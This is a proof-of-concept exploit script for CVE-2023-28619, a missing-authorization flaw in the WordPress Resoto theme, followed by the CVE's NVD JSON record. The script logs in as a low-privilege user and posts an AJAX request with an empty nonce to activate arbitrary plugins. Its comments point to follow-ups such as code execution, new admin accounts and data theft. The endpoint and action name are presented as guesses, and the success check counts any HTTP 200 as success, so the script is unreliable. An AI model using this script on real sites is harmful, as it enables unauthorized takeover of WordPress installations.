CVE-2023-28619

# CVE-2023-28619 PoC - Resoto Theme Authenticated Arbitrary Plugin Activation # This PoC demonstrates the missing authorization vulnerability in Resoto theme import requests TARGET_URL = "http://target-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Step 1: Login to WordPress session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Identify vulnerable endpoint # The vulnerability exists in the Resoto theme's plugin activation functionality # Typically found at: /wp-admin/admin-ajax.php or theme-specific endpoints # Step 3: Activate arbitrary plugin (e.g., hello.php or any installed plugin) vulnerable_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" plugin_activation_data = { "action": "resoto_activate_plugin", # Theme-specific AJAX action "plugin": "hello.php", # Plugin to activate (can be any plugin slug) "nonce": "" # If nonce validation is missing or bypassed } response = session.post(vulnerable_endpoint, data=plugin_activation_data) # Step 4: Verify plugin activation if "success" in response.text or response.status_code == 200: print("[+] Plugin activated successfully - Authorization bypass confirmed") print(f"[+] Low privilege user can now activate arbitrary plugins") else: print("[-] Attack failed or plugin already active") # Impact: After activating a plugin with higher privileges, attacker can: # 1. Upload and activate plugin with code execution capabilities # 2. Create new admin accounts # 3. Modify content or exfiltrate data

{"cve": {"id": "CVE-2023-28619", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:05.250", "lastModified": "2026-04-28T19:20:07.313", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in bnayawpguy Resoto allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Resoto: from n/a through 1.0.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://vdp.patchstack.com/database/wordpress/theme/resoto/vulnerability/wordpress-resoto-theme-1-0-8-authenticated-arbitrary-plugin-activation?_s_id=cve", "source": "[email protected]"}]}}